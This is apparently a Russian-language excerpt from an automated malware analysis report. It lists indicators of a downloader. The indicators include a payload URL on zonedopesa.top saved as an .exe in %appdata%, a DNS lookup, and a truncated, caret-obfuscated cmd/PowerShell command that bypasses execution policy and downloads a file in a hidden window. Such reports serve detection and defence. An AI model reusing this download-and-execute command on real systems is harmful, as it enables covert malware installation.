Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "P^oWer^S^he^lL.^Ex^E -Exe^cuT^i^onPOLic^Y^ bypAs^s^ -NOPrOfILe -^w^INDoWsT^yle ^HiDd^eN ^(nE^w-oB^jE^Ct ^S^Y^steM.^Net.WEbclI^enT^)^.^D^OwN^l^OA^dFI^Le(^'http://www.zonedopesa.to...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "P^oWer^S^he^lL.^Ex^E -Exe^cuT^i^onPOLic^Y^ bypAs^s^ -NOPrOfILe -^w^INDoWsT^yle ^HiDd^eN ^(nE^w-oB^jE^Ct ^S^Y^steM.^Net.WEbclI^enT^)^.^D^OwN^l^OA^dFI^Le(^'http://www.zonedopesa.to...' (со скрытым окном)